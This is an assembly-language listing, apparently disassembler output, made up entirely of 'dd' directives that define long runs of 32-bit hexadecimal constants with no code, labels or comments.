		dd 327BBAA5h, 433B060Ah, 2160AC27h, 94960DA3h, 8A958320h
		dd 5190E37Bh, 880097CFh, 0BC7EA6ACh, 5A0B91h, 0D82879C4h
		dd 0CAE27586h, 8B6188BAh, 16C5F379h, 583AFCh, 0BBA9B531h
		dd 2C423C03h, 260148BBh, 0DA8D6D1Bh, 3BAB398Ch,	577B5881h
		dd 3FE74900h, 0C9013D78h, 1F5E4A8h, 0B99D18F8h,	62A187CDh
		dd 5B8D00D4h, 32242BE7h, 61009612h, 479EC63Dh, 4F8CBAC8h
		dd 5B8818A0h, 0F70E220Eh, 19F0FD2h, 2074E669h, 0E7492618h
		dd 0F2E0004Ch, 50F19BB1h, 948A0B81h, 388FD3FEh,	724FD002h
		dd 12D8C403h, 270B1231h, 0EDDC52B4h, 9505B046h,	0C30AB9F4h
		dd 441950CCh, 953E898Bh, 690F0070h, 5CAE9FA4h, 20B38Fh
		dd 9A8E7D80h, 74133FEFh, 0F434CE11h, 30D788CCh,	8C0C1F28h
		dd 2B006721h, 0E1A710E8h, 13F41862h, 30DB6C98h,	0EC59A818h
		dd 0ABC9B0C0h, 0FA9933BCh, 7AF802D8h, 79EFB738h, 7E001044h
		dd 0A530F7A4h, 98C8969Fh, 0A39B1A24h, 0DD4320BEh, 0E6DC4CF8h
		dd 4FD6EF0Eh, 59FCE0C5h, 13CB9FD4h, 5115DAF6h, 0B10058CCh
		dd 0CD998B0Ch, 0A1039217h, 0EABFAC3Ah, 97C1A865h, 61A4962Dh
		dd 83956D8Bh, 0B63E2F71h, 0A8BBABBDh, 3A07B786h, 1E007BBCh
		dd 4E210C7Dh, 0FE7EF822h, 4C526D13h, 90AB1C4Bh,	0F63DD834h
		dd 0D9FD0E2Dh, 96034FF3h, 0D7D0950Ah, 1D138D97h, 5864CBEBh
		dd 0F850B4h, 441A0DD4h,	9852FF8Bh, 0A2551E12h, 50EC50CCh
		dd 4BE018A3h, 14F80015h, 0E9CCAD03h, 0E2F52800h, 0C65FA983h
		dd 0CF110208h, 26EFA802h, 5C07C8C4h, 4CB6C117h,	84625A65h
		dd 80F47107h, 0CD6CE28Eh, 0D92504B3h, 50401038h, 8ED70094h
		dd 2A7392E8h, 0D3487F30h, 0F506821Ch, 0EC084A72h, 3C6B7ED0h
		dd 0DD890BFDh, 14842C29h, 65CD409Eh, 170AB60h, 80FDD9D1h
		dd 30D64FE5h, 0F8405E0Ch, 0B07830A3h, 25403231h, 1EE53705h
		dd 8FC0CD21h, 2E781735h
		dd 6A90FD0Bh, 7A240270h, 46C25304h, 21DA4A1h, 84E0CC5Ah
		dd 0AFAAA31Ch, 0A9824504h, 5C318094h, 2CECE03Fh, 70F0150Fh
		dd 0CD82C83Ch, 91008422h, 0B0781826h, 306A091Ch, 68A1EA76h
		dd 865B4104h, 80FA4FB9h, 0BA710A30h, 60C0DA82h,	0EE77C572h
		dd 0BC46E800h, 5707A0B4h, 105212D1h, 191C701Ah,	871B92D5h
		dd 0B0587327h, 0D697B3h, 47949693h, 311CD90h, 0E6DD2000h
		dd 77F93EDCh, 708F5D48h, 0F8DB1196h, 24660D00h,	45C9B4F8h
		dd 0DF27911Dh, 0C8507945h, 328034D7h, 0E9B0B92h, 0A88A849Ah
		dd 0D5AD6B01h, 0CD42CCA9h, 63116109h, 21380103h, 0C26A017Eh
		dd 54D25921h, 70F8E631h, 0E076751Bh, 0E7223058h, 0F379100h
		dd 94EE7393h, 5D892C5Fh, 0B492015Ch, 1D7E99C3h,	2B090F0h
		dd 2477C107h, 44643EBAh, 0FFDB3700h, 2794EF4Bh,	44F900BBh
		dd 5C455F8h, 0E50B307Bh, 22A3C34Eh, 0EACDBCh, 0B449F892h
		dd 71910124h, 3C592702h, 0BC538Ch, 0EF10919h, 3F002DA1h
		dd 6D7C6EBAh, 806FCCh, 3C1F18A5h, 7684B52Ah, 47182491h
		dd 0C4D6F09h, 5604A314h, 1D004070h, 5CE40DACh, 29EEBC2h
		dd 310E6EB5h, 0FC943D26h, 0FCA0C8A2h, 0A7A136FEh, 27005371h
		dd 726F3908h, 16D1F54Dh, 282BF93Dh, 2C12BDCCh, 4C5EAE76h
		dd 106A6E49h, 0E519360h, 1E66F124h, 90D86037h, 3CA81A0Fh
		dd 5472F8DDh, 0B2C2A60Fh, 9A4A60C6h, 933A338h, 5E8512EEh
		dd 806C0C48h, 4B30AF01h, 0EF726299h, 9ED03824h,	0AF876254h
		dd 0D2FB9048h, 0A2D4B40Eh, 0D8056470h, 22D5B89Ch, 9D307EF0h
		dd 8AFC6966h, 0A164032Ch, 9F138947h, 5DB2B98h, 0CA8DE800h
		dd 202EE9EFh, 0DC28678Ch, 7267D00Eh, 3BFA99BBh,	681D73F6h
		dd 21337923h, 609790D1h, 0BAD30C33h, 0DA19456Fh, 356E8800h
		dd 0D667E7Bh, 99110069h, 2627FC52h, 5D3DD4D7h, 0B7089F3Dh
		dd 206CC24Fh, 0D037E9CFh, 6075079Eh, 40AE9D83h,	52DA3178h
		dd 36C78900h, 6AF006EAh, 75A20087h, 554CCA35h, 120081F3h
		dd 0A4E42CB5h, 3E270EDDh, 0A8805C3Eh, 0D95A0653h, 16908A3Dh
		dd 0DF23CD00h, 996D1E3Bh, 493900E3h, 0E8D03F86h, 6098B29Ah
		dd 0A5382403h, 38433152h, 0B730D5F0h, 92E23EA1h, 361C2900h
		dd 0BEC205ECh, 0A28300F3h, 0CD8B036Bh, 60C0F881h, 0E37FFBF9h
		dd 78C76EDh, 610C24Dh, 7BE810D2h, 0C6000C84h, 0DB9A2EA4h
		dd 0BA3E2Ah, 32072196h,	0D1A56B8Fh, 4E5C5A1Eh, 6E7D58Eh
		dd 258D492h, 0F7EC8589h, 33600F09h, 99015531h, 490ECE80h
		dd 0E89D88FBh, 0CA1A809Eh, 68BA48B1h, 0C0EEB4A1h, 20CE8B8Fh
		dd 106F45F6h, 0AB6BCD00h, 0E87BF1ECh, 0A0B95052h, 4BE30F1Ah
		dd 66E32D4Ah, 4000D488h, 28205281h, 0D85401CAh,	0AB0F9048h
		dd 590D052h, 0AFA967F1h, 0C52AFB07h, 0D9011430h, 17F501E6h
		dd 706A86A0h, 1C6BD084h, 14012B7Eh, 0EA8959CDh,	1980D3DFh
		dd 0AEBFDD88h, 0FA0051F5h, 0E968243Dh, 3C6DF84h, 0FD9E4C7h
		dd 49A04C8Bh, 86001B94h, 7BD8F2C9h, 7B67BB13h, 184E006Ah
		dd 82033BC5h, 4C07CC2Ah, 0A03D160Eh, 853153h, 7B5F7068h
		dd 4898A105h, 0C8D9C60Ch, 5C4CA9A0h, 23188473h,	51FF38DEh
		dd 156B18C7h, 0F784886h, 9867CD25h, 0F7274F60h,	0A0003F70h
		dd 1C54CE8Eh, 304E1045h, 0F1391D53h, 0B21CE13Dh, 83804962h
		dd 88AA2BCBh, 0E0BF00BBh, 0F676C421h, 27004120h, 162C5A85h
		dd 0C7701268h, 817AB188h, 183D7Fh, 155DB35h, 2A76856Eh
		dd 0E81E2EBFh, 50E3682h, 21CBE553h, 21180FFAh, 7CD18180h
		dd 545DFF4h, 23758D14h,	0F30C7CA4h, 0F89A332Ch,	0E025534Ah
		dd 0E93E560Ah, 8A7C077Ch, 4FCB3794h, 1CAFE165h,	7AF540E0h
		dd 527B2697h, 1B955401h, 162743A0h, 98C53980h, 51781C2Ch
		dd 24EE3E18h, 52694819h, 9315E88Bh, 3D0A74A8h, 4FB81904h
		dd 0F60C40B2h, 0D9082668h, 0E2CA0D00h, 0B9E5907h, 5A640924h
		dd 328274FCh, 0F0A10AAAh, 5033D3D9h, 0CEA54198h, 78C53F01h
		dd 0C1FE059h, 0FC8B9040h, 0B96560CCh, 5617074Eh, 618E9600h
		dd 84E3A72Ch, 14DB1860h, 0E031A84Bh, 9C91AD60h,	0E67BE211h
		dd 9B6D00FAh, 9EDCAEE1h, 340AC516h, 885AB1F3h, 2FEDBC42h
		dd 3B38968Ah, 0A8081F79h, 8A778143h, 22E03280h,	0E3E47530h
		dd 68310B00h, 577CA606h, 0F32A196Bh, 0D8D84167h, 860299EFh
		dd 89CB0866h, 0DD644049h, 7A8B88CCh, 1B4F2901h,	569D97FAh
		dd 686820h, 3E5EFC72h, 0D2B63B37h, 0F1D44514h, 4C4F8074h
		dd 1843804Ah, 5164812Eh, 0DA1FEA2Ah, 0E0ABFC49h, 9F065C00h
		dd 8E17FE0h, 210A54D2h,	92648780h, 60F3EF76h, 0B539B966h
		dd 7FECE41Ch, 7B13D103h, 0E07440FAh, 70485027h,	59B90F3Ah
		dd 0B5C1D703h, 0E6CFBE2Ah, 1FA053E3h, 0B406995Eh, 90364EC4h
		dd 32350031h, 0ADF4D2BCh, 0F62CF1D3h, 25005B6Fh, 90476E8h
		dd 57911995h, 0C8B73055h, 3C00923Eh, 383D99BDh,	3EAB485h
		dd 0FCF7897Ah, 80D558FFh, 9CC5488Eh, 9CBD500h, 1997B97Ch
		dd 887F008Fh, 1D5AC331h, 30D0FD16h, 7326009Eh, 874ECD3Eh
		dd 5EC10008h, 0B7117ED8h, 380CEEFCh, 3112E301h,	537A1Bh
		dd 0F22A4854h, 69EF27F0h, 5C6B2000h, 77AB83CAh,	62A438A9h
		dd 44E8120Ch, 0A80C59E8h, 0F95493F1h, 7A500C0Ah, 739021ACh
		dd 8E195962h, 2A226971h, 2F6CF4h, 0BD415D58h, 7A9B510Ch
		dd 4D37D814h, 791D00C5h, 2780B9A2h, 0F1FE004Bh,	83A8B4CBh
		dd 76901996h, 0CC059B16h, 50490C00h, 3D348Fh, 1AEA097Fh
		dd 1EC01CFEh, 7E23810Fh, 0B8FC8322h, 2B82E063h,	3462030Bh
		dd 521B4C68h, 61FBF100h, 946441F7h, 283700DEh, 2D0BBDFAh
		dd 26005115h, 9B0A7402h, 0FFEDDD3Bh, 8A8F6ED0h,	413F4561h
		dd 20E42478h, 0B760DA3Ah, 0A8952288h, 0A5B60C8Bh, 31B823AAh
		dd 5360E898h, 0E2410140h, 10A4A339h, 555818h, 6D40E5D7h
		dd 0E0A863CDh, 71496008h, 83863428h, 3E006479h,	7DE546C8h
		dd 1232C67h, 0C40ACC6Ch, 0CAC18844h, 0D9600C4Eh, 2708D869h
		dd 0CA9B003Dh, 0C9149A92h, 543BE291h, 1DD85436h, 294F671Fh
		dd 0E55CB500h, 0B844CF4Bh, 75887543h, 0E0696339h, 0E2D8337Fh
		dd 96000B46h, 3A1E1494h, 0C0666108h, 0CB3765B1h, 0D008A35h
		dd 0CC97A9B9h, 0F8FB2EE0h, 0F2AD05A7h, 56ECF97Fh, 549C0EDCh
		dd 41651DE6h, 1E553C05h, 0E4612922h, 21808762h,	64E2866Ch
		dd 0B004FB0h, 82166FBh,	9CBE7BCh, 13898142h, 0AC9D7020h
		dd 9E1EC196h, 2D40C276h, 2FC478B0h, 0A63A0271h,	9F585A8h
		dd 10FD604Eh, 1FD5C0h, 7B590FCBh, 3E9AD49Eh, 0F8AB6F29h
		dd 2E4CF186h, 45522431h, 0EE92BD90h, 444800EDh,	686AFAA3h
		dd 1B032404h, 4080EF60h, 7357C2h, 202BDDB9h, 3CABDFF0h
		dd 82EECA39h, 27994551h, 0C3346487h, 405342A8h,	84F0617Eh
		dd 6A58A601h, 6080F9Ah,	1185AD4h, 63C20C7Bh, 0B8531E41h
		dd 7F3004D0h, 3480BB74h, 0E64EFEh, 6702C147h, 30D6F21Dh
		dd 1E11B988h, 758FE08h,	805607F9h, 619C7AB0h, 32689D02h
		dd 48CD9A31h, 3F9E058h,	4FB8A713h, 39005F11h, 0CE3F4DDCh
		dd 3301D2h, 0F85DCC20h,	0AACF8592h, 21D81904h, 67C74A3Dh
		dd 7B7001D0h, 0FF690043h, 0CE5013E0h, 0D400F44Ch, 1962C492h
		dd 35D1ABBh, 8EBAF5B8h,	0DA807027h, 741F3DE6h, 5A00A916h
		dd 0A86D0222h, 0CC100A6h, 0D06FC2AEh, 38C02683h, 3441125Ah
		dd 930300A1h, 0FA9AF84Eh
		dd 5B1DC124h, 871CDF54h, 863CDC1Ch, 0E994D565h,	0C238E660h
		dd 0C2341A41h, 0DD7E6C0h, 0BCB4D400h, 0CDB2B659h, 5B7F2Ch
		dd 0AED658C7h, 0B954986Eh, 80009FE4h, 0BC4C3A3Bh, 0CFB5AA0h
		dd 0F90316B4h, 7C0270B0h, 0AD7D3F80h, 50C9E049h, 9772003Ah
		dd 0F3D2233Dh, 0BC19EE95h, 0DF600485h, 0DE1F76F8h, 91BE0C90h
		dd 6F5675F9h, 0F8DF1088h, 3CB16500h, 0D8D9C738h, 0C6AAF500h
		dd 92D2DA2Ch, 0D0D11CEEh, 48F60093h, 134B741Ah,	21F8AD00h
		dd 3B592ADFh, 0CE577C65h, 12EE5570h, 0F24E0090h, 0BEF4D670h
		dd 449200DEh, 99196EB3h, 0B70081DCh, 4AB92F88h,	3EC65FBh
		dd 55E63413h, 82A267D8h, 0CBBAFF80h, 0B00012C7h, 7D02743Eh
		dd 0FCED5D94h, 99B90027h, 0B49FFA80h, 850559B7h, 54A534D2h
		dd 5F92C0FBh, 0C1ED2728h, 88B98C4Ah, 15B8F164h,	3CF402E4h
		dd 9DEB691Ch, 0A57FC197h, 5077AADFh, 595CBAA0h,	81E4A401h
		dd 0EE56B5BDh, 8051F89Dh, 88B38D65h, 3220F3E6h,	670A0022h
		dd 997F06DAh, 307F725h,	0B2F1C417h, 27BAC010h, 0A3494C34h
		dd 0F0CB3060h, 0F500056Eh, 87657150h, 0A5539EDh, 0C804F6EAh
		dd 0BA2C00D4h, 0F29C1426h, 0AFA7EC1Dh, 0BD854B45h, 1349F821h
		dd 0E3F35180h, 7B3E1932h, 0A9BBF901h, 237CB2B1h, 0F7582889h
		dd 0ABE4805h, 83D433DBh, 0C7984654h, 508414C9h,	1BCF80F8h
		dd 0DA8B3100h, 628DDFACh, 0A8325099h, 663084D2h, 0D6557929h
		dd 0C37804D1h, 9094C15Ch, 18AA3138h, 0E091EE28h, 0A7DF1F0Ah
		dd 528E9456h, 0D80A5E4Eh, 8A00A853h, 58C2797Fh,	0F3CA08B0h
		dd 20001EF7h, 8F543F82h, 0CD86381Bh, 9D45B080h,	3C9CBB59h
		dd 94694900h, 340725BDh, 9AC91497h, 0B9C0D4C0h,	0DDA64EB4h
		dd 33EA8705h, 0DC30BC49h, 48D1EBF7h, 0FA217075h, 12014C23h
		dd 0FEE9EACDh, 0C12024h, 0BF4D1137h, 828F9C2Eh,	0F407BE00h
		dd 77D37583h, 0FE40127h, 5F61E2E1h, 0FA1C4021h,	3D0058A4h
		dd 34E84573h, 12757416h, 3002DBC0h, 92627F74h, 54BAD42Ah
		dd 20DC3D15h, 0BCB851D8h, 5BED0551h, 0B841AEB4h, 21E996DFh
		dd 0F0912894h, 6884F480h, 0C6E61317h, 0DFD1EC03h, 221FC893h
		dd 7078A29h, 14FFA3C4h,	4310DD02h, 68A1FA70h, 891DB270h
		dd 8101E321h, 0E55E85FDh, 5826EB10h, 4D9DAD0Ah,	0BB5B8AF4h
		dd 4B584080h, 8E060EBCh, 0FD2183B3h, 53CC0E19h,	3100A582h
		dd 0D6AFB75h, 6F2905F6h, 3C0CE4B7h, 1E32812Dh, 264FC87Ch
		dd 0C15EC208h, 0B4287464h, 2900D1FFh, 2D29995h,	2488B92Bh
		dd 8158217Dh, 14CE2C87h, 0F55C349Eh, 0CA976505h, 6C82C7ADh
		dd 6856C0ACh, 8ECE0954h, 0C838E8BAh, 9730EC7Eh,	4430D04Eh
		dd 3AF6083Ch, 0B817F92Bh, 0C8305812h, 295CE358h, 0AD492B4h
		dd 0AB90316Bh, 0CA648h,	4AA406C6h, 3B2CC41Ah, 0FD462CF3h
		dd 0D68521D0h, 98585718h, 0A7218487h, 2811225h,	313FAEA6h
		dd 4E98D0B3h, 9E007028h, 0AD0586B6h, 0A50A4Ch, 536C8B2Eh
		dd 4666D35Bh, 0A14C827Dh, 70BA8C6Ch, 0AB1B05DAh, 8281C385h
		dd 0D06DCEF0h, 0B90F3C0Dh, 181E43D0h, 70ACB22Ah, 0E303046Ch
		dd 122066ECh, 8E67F1EFh, 2C2215F1h, 0CB65EB00h,	2D88BC0Eh
		dd 7845C526h, 0A11CD21Eh, 0D45D1612h, 0D4041828h, 4706A305h
		dd 0ADCC9CD9h, 6059546Bh, 11156965h, 0FE35B480h, 3A37EB52h
		dd 9ECE497Dh, 9CC1A42Ch, 91011EFAh, 0EED1803Ch,	19BDCE6h
		dd 33B0006h, 222E1E80h,	0B0B3955Eh, 9CCAB95h, 0F6D34313h
		dd 0F74402A4h, 58CB811Bh, 0F8ED4F8h, 0B4D6460Ch, 0B7F28A3h
		dd 4F98CB7Dh, 0F599520Ch, 40003DFEh, 0A0619A07h, 1D6E488Fh
		dd 0C080C4B7h, 8D067CF3h, 2D49945Fh, 873C1810h,	0F0B7B1h
		dd 0BDB44B88h, 62547C78h, 48A9072Eh, 0F33E3D60h, 0FC31D086h
		dd 0B99E8E00h, 271DEFBEh, 76988750h, 727E25EEh,	9094AD2Ch
		dd 90795B47h, 63A9DFF8h, 0E991B127h, 0CCC35100h, 87D05781h
		dd 92E77C8h, 3AD94831h,	9C300CA4h, 19C01624h, 0DD5CC622h
		dd 617D0FE3h, 3E61DCD9h, 5872A019h, 0E0B817B4h,	0B0B55D24h
		dd 9B715840h, 4B971707h, 0E5D4048Fh, 23F30696h,	2E700A1h
		dd 10707EEDh, 780094D9h, 493DC03Eh, 0FCCFBFEFh,	882415D8h
		dd 0F48994B7h, 941DDC10h, 0BD490D02h, 0E1EFD42Bh, 0C0E64B85h
		dd 593CCE9h, 3D70FC88h,	3BC420DEh, 0E8A8EC38h, 183ED355h
		dd 340B1B35h, 54FE498h,	2B0F2C20h, 4E004F26h, 5DECDC43h
		dd 13E1F74Ch, 37BE19B2h, 0E884D918h, 1E8C81B9h,	29C10745h
		dd 0D042CA11h, 777880F4h, 52E9DFh, 1E42D115h, 11F7E735h
		dd 0B233A00h, 0E3B5EE9Ch, 95158C9Fh, 60F469F3h,	53149382h
		dd 7948B89Ah, 8D1B0AFDh, 97644B39h, 8F810058h, 27ABF346h
		dd 776CF801h, 0B4474B60h, 0C0094472h, 0D0A238CBh, 0EC02D691h
		dd 0B0C8ECF3h, 0F0DC2C54h, 458B0FF0h, 72DFE4C1h, 0E891A822h
		dd 30163022h, 0FCE95EFDh, 9D006A8Eh, 98EFAF05h,	9AC411Ch
		dd 2766B942h, 10553439h, 4C848Ch, 33E50DA5h, 70A1C5BEh
		dd 0F50151F0h, 30D80BADh, 70360F1Eh, 0C44AEC05h, 0BCB0C2F5h
		dd 0EE60ECEAh, 0EE02A82Bh, 5D4F5678h, 86FC514Bh, 0A930F442h
		dd 477E0700h, 335C4D0Bh, 0C9141E0Fh, 0AED681C1h, 0F0B913D9h
		dd 0E4A8104Ah, 0BD006C43h, 7CD10129h, 0E593A1h,	0AF8E182Dh
		dd 0CC50C790h, 0F600CAECh, 76B375C3h, 3C68D7D6h, 0A4A55B06h
		dd 0C601832h, 0D9E7BF40h, 3D502291h, 9E6500E7h,	0C6BA2923h
		dd 0EB9D2C6Bh, 0E93DE150h, 82318032h, 0CF2A8A6Fh, 684C4C1Ah
		dd 0D514044Ah, 34CC9058h, 0E901F48Bh, 6DD368F3h, 0F829D281h
		dd 9A69EBC0h, 150A8C43h, 0F0216BB0h, 0FB004CA2h, 6495D2FCh
		dd 149D73EDh, 685FBE7Eh, 43DA6BC0h, 0AA00EF7Fh,	372176AEh
		dd 14BE76Dh, 2ECFD7D4h,	39311FF0h, 0F8558408h, 22A8D107h
		dd 0DBE0F7A2h, 0B4006938h, 53268DCEh, 13FF2758h, 1A6E522h
		dd 65C0EC34h, 0F02834F9h, 0EC65B44Bh, 4B6A5C00h, 289D9EE4h
		dd 0ECCDF3Dh, 614ADBAEh, 205D09h, 4637F3D3h, 7BE12400h
		dd 3DEC8704h, 3A2F12B0h, 887CCCB7h, 4066424h, 41DE35BCh
		dd 0F901C481h, 0EFC1D500h, 0EEEA6507h, 0AC50DA60h, 12A2CA6Fh
		dd 0D8D982CCh, 2F07889Ch, 0CD98F59Ch, 48823810h, 0D83B4C69h
		dd 0F1F9D581h, 6077E24Ah, 0F28D593Bh, 0F09C1E1Dh, 319CBDF7h
		dd 49221394h, 98460638h, 1234361Ah, 0E2A86099h,	0CA4E3923h
		dd 62903B2Eh, 685292E4h, 93614Ch, 46AA4495h, 0A96E87h
		dd 0E06C4C9Dh, 29146501h, 9034034Ah, 8792F800h,	51D577Bh
		dd 0D84B5A77h, 0ECA4D8B6h, 0CEC09800h, 3C1299A8h, 49A90A4Dh
		dd 1A4C7F2h, 55E1383Dh,	0C45730C3h, 30AD5E01h, 8ECF80A4h
		dd 5644A461h, 0C2B9A4C3h, 0D85AFFh, 6B7CF664h, 0FA2DF03Bh
		dd 49AD9C04h, 7833E8B3h, 0C071A8D2h, 0B9800A10h, 4405BC26h
		dd 8728A373h, 8E3A2C65h, 390FA673h, 3193090Ch, 5F721206h
		dd 8468D999h, 3B30E8D0h, 0FD22688Ah, 886E9700h,	0CA89234Dh
		dd 0BC254B0Ah, 10605313h, 7F74953Dh, 51C4AADBh,	45E20054h
		dd 8D64BFFFh, 0CFF46200h, 0ABF9AE8Ch, 0B0BBE7h,	804526BBh
		dd 0A814D54Eh, 0F686688h, 41FAF487h, 0BCB64AD9h, 2AD84CEEh
		dd 255C6DB9h, 0CC201288h, 85ECC555h, 7EE58409h,	492CA227h
		dd 5858DEh, 8E7D205Bh, 0F2DBFEC0h, 2ECD9B07h, 0AF8264D9h
		dd 0A4DA895Dh, 904F512Ch, 4B507012h, 88052875h,	86E65CA1h
		dd 2E3D6098h, 6B843AAFh
		dd 0AED4D490h, 0C60F4E04h, 0A88D638Eh, 0F204C1CEh, 2C7FC01h
		dd 4CC449h, 0ADFB7ECDh,	0A517724Ch, 90A4B327h, 0E6DECh
		dd 8CE162BAh, 0A2047FDAh, 0BC18AD0Eh, 201141DFh, 3036AAEAh
		dd 0FAE2F700h, 3E0A2AC8h, 0C05D7D4Eh, 0B939DC8Ch, 812C693Bh
		dd 1B7CC8CCh, 0ED6EDA00h, 739233D5h, 0E1A000A7h, 0CAB20749h
		dd 881771D7h, 0C8293B90h, 34224180h, 9C87C5DDh,	0B44BE779h
		dd 1A345C70h, 0C9B5705Bh, 0B84849E1h, 1E06D3FEh, 0C3BBABE4h
		dd 4384B60h, 9D5F968h, 75C8E690h, 0BD69072Dh, 90E3297Eh
		dd 278ED459h, 183B1F1Ah, 3793C091h, 86FB00E9h, 97722B07h
		dd 7F77D32Dh, 0A81D4907h, 1A55EF44h, 885BB4D8h,	7A00A777h
		dd 82B3B910h, 1780DFA9h, 3448C1AAh, 4124B154h, 10259D04h
		dd 17D36D19h, 78D9987h,	4B2DBF9h, 0ECF6C8h, 0E4669B5Eh
		dd 726C665h, 895519B9h,	632EFC28h, 0FAFD9D14h, 0B3F58F78h
		dd 26C01420h, 0FF63091Eh, 503090A2h, 89CA2FF3h,	5A00AE33h
		dd 7BDADC23h, 67F49EDDh, 0D410BB3Dh, 72005E28h,	6C0653C6h
		dd 0B4BA13B3h, 8A82C98h, 5B0921F5h, 4250C4B9h, 46C506Eh
		dd 0BD17E1DFh, 44916022h, 0EAE02Ch, 988B579Ah, 4F5DB013h
		dd 9FBA4501h, 0F9DB6797h, 98D47448h, 8A34CE0h, 4E70492Eh
		dd 70E38147h, 4DAAA676h, 957C1201h, 0D7C4F98Bh,	24D42030h
		dd 446C1388h, 0A44CE4F4h, 0D462CB24h, 0A17F8604h, 0A127D8C2h
		dd 656EBE10h, 98D279CCh, 67370003h, 0D1F740E9h,	0B4B3CD75h
		dd 0C1612A9Bh, 0E1962EB2h, 303CDDFDh, 75141628h, 0B08870ADh
		dd 0DA02BFh, 0E0EB628Bh, 377668CCh, 0C5D23103h,	958EBD18h
		dd 32064C81h, 0E1F9C841h, 44582424h, 54B2FCC7h,	393F8800h
		dd 2E56AA0h, 407C00F9h,	58E03B87h, 61FC0F45h, 3E43F70Bh
		dd 4EA8104Ah, 3C143DF6h, 0FA0C1160h, 0BB01EA78h, 92441A29h
		dd 67D86B79h, 68E56491h, 1394E2DFh, 0D8CDB05Bh,	1404D061h
		dd 0AC6C8Ch, 9223482Ch,	3C53C2A8h, 827D2B3Bh, 0CE9CEBF8h
		dd 4FA07049h, 1B0446Fh,	84F8811Ah, 85A06C27h, 0A4D158E4h
		dd 823D1EBh, 8BF7A500h,	8A0DF33Fh, 0C80746ECh, 1042ECDFh
		dd 8076CFB0h, 0DC2A2C88h, 0F33E860Ch, 2160F13Dh, 80E02209h
		dd 9F790BA2h, 0E4BBF7h,	930F0A00h, 66F85103h, 65CC74FAh
		dd 0B5F4488Ah, 0F941603Ch, 0EFCE4600h, 549CB06Fh, 555F001Ah
		dd 123CF259h, 0F9541822h, 5B14F8B8h, 809CD6BEh,	0E3C198B0h
		dd 0B4D4023Dh, 9D854B47h, 6ECF8C93h, 82E49905h,	8C820680h
		dd 5E02539Ch, 14E879B9h, 5281A071h, 0F458D278h,	8A0169C2h
		dd 8131ACDAh, 0DC530F74h, 1C04CD07h, 0BA43C76Fh, 984CCA8Eh
		dd 0CF550210h, 41773126h, 0C8723078h, 24DCED2Bh, 19359120h
		dd 26105C60h, 9C522112h, 0D62C7D0Fh, 528F2008h,	1E5F0F9Bh
		dd 0BB582B39h, 0CECA8782h, 18509FCFh, 6658E569h, 0A29E03F0h
		dd 0D07FC8E2h, 59EBFBF0h, 430CD0Fh, 48FA3F72h, 2B4B07CCh
		dd 90FB7C8Dh, 0E32C80h,	0D6FBA236h, 0A45F8243h,	213C7A31h
		dd 8450B016h, 9AC679h, 1BEF913Ah, 15240D84h, 1D8CB409h
		dd 4C28B06Eh, 0C16A3CDBh, 0C0345E81h, 61D6789Fh, 0C01C7C80h
		dd 0C7B36183h, 0FC75027Fh, 7BB144ADh, 0F769B4A0h, 0AF0F3E2Bh
		dd 0F66C8C33h, 0BA82C0D0h, 0B05F49A6h, 0F94B28h, 3F546A23h
		dd 2DFFBF38h, 0F3B78003h, 5C9DD5h, 3ACB8C29h, 714B0F7Dh
		dd 2CE2E307h, 8213E89h,	7460615Bh, 0BCCE5D29h, 0DA001521h
		dd 0B14C31DDh, 3E940506h, 9FA5BF6h, 101021B8h, 8E00489Fh
		dd 67C4F409h, 7579F756h, 0FCB2445h, 222901C0h, 62383415h
		dd 20F42568h, 5B3F8768h, 677A0663h, 30742FF8h, 17152A05h
		dd 0B088F434h, 12F1003Ah, 0A14AC9C5h, 9705F9E2h, 985CAD65h
		dd 12084414h, 7416DEC3h, 58308888h, 0AC5D478h, 0B6F3C06Ah
		dd 9C00B59Eh, 75A7D947h, 5F95B2DCh, 4880094Ah, 602E1CA7h
		dd 0A9BA7AB3h, 935263Dh, 2010D0E6h, 0CC3F2974h,	46DA0AB6h
		dd 134497F5h, 62FC2149h, 0C810209Ch, 6588730Dh,	0C43C5917h
		dd 63A32B80h, 8000D0C0h, 21BE6AEFh, 0A771B5h, 0D21C5EB7h
		dd 0CB6E795Ch, 6C41A100h, 43501EDAh, 58617B24h,	0C6005451h
		dd 82F3E918h, 5F1EC037h, 4E9D8B32h, 0ECDEF244h,	97A21C90h
		dd 99D30973h, 490F35Eh,	0CD005F04h, 0D9B7F035h,	0E831193Ch
		dd 177F1C60h, 0E80C80AEh, 5DEA34ECh, 5ADCC01Dh,	0E1BE5C0h
		dd 5E3DE9FAh, 112840F4h, 626C706Fh, 3F6C735Ch, 0BE7B00C1h
		dd 0CE60AC53h, 0CA250AEh, 0D7B701ECh, 3E765736h, 0EE6AC051h
		dd 5D1D9198h, 5003217h,	0DA0FEA62h, 33FD1F9Ah, 295C8B69h
		dd 6C07D076h, 4A51873Bh, 8029E9E6h, 0D83DC600h,	11FED165h
		dd 2EA83Dh, 159F971Eh, 35D56Ah,	1A83EE8Ch, 3652FD6Ch, 96037800h
		dd 68163A29h, 1AF4FAA8h, 18776202h, 0C100D451h,	8A3D7E65h
		dd 0C7680058h, 0BA1EF0DEh, 9A7218A1h, 651C58BCh, 0FCAD5D84h
		dd 16BDCC8h, 4FECAAB4h,	392A3444h, 0DC234EBCh, 6C95E07Dh
		dd 3E1B00EBh, 0EA07F713h, 50303C4Bh, 491A4858h,	4C755941h
		dd 9EB02Dh, 0E7CC4B0Ch,	7A941012h, 1EB417E9h, 0B1DC4039h
		dd 0D8438C8Bh, 1AC36805h, 0F4F4BE5Eh, 0F0EF4D49h, 74E3620Eh
		dd 4CB05D60h, 0E1005511h, 0AA37CEC6h, 2C6B2F99h, 40282128h
		dd 0B905843h, 0D366D000h, 5C94D5B6h, 3DE62C3Bh,	7056FA0h
		dd 4A84C828h, 6782144h,	1FE2F7E6h, 8226E8E8h, 2F403CFFh
		dd 7F6CD636h, 0DF0B0224h, 0C99C0A8Dh, 0A8025063h, 0B4563194h
		dd 1B00CC74h, 0B05F17DBh, 6AA06789h, 4B5A9B0h, 0CAA7CD5Eh
		dd 6610E0F1h, 10AD009Ch, 6FFFC0h, 0FDF99B54h, 9F6DBA38h
		dd 0C3B9CB0Bh, 0BCA802F1h, 0FCEC003Eh, 73490A11h, 0D0B126A0h
		dd 263B4304h, 9050005Fh, 98C35565h, 2D7BE407h, 3B80FEF4h
		dd 0B0EDAC11h, 4B9002B8h, 0AEE141B8h, 0F9023C43h, 5F3B8F55h
		dd 20ECAFEBh, 44A8E8Bh,	91D89ECBh, 30822436h, 0CE7E3A01h
		dd 42E23DA5h, 0BC5960FCh, 3CF85D01h, 8105C60Fh,	87096E40h
		dd 0B003867h, 0E0FEE198h, 18D37D89h, 810CA0AEh,	53255194h
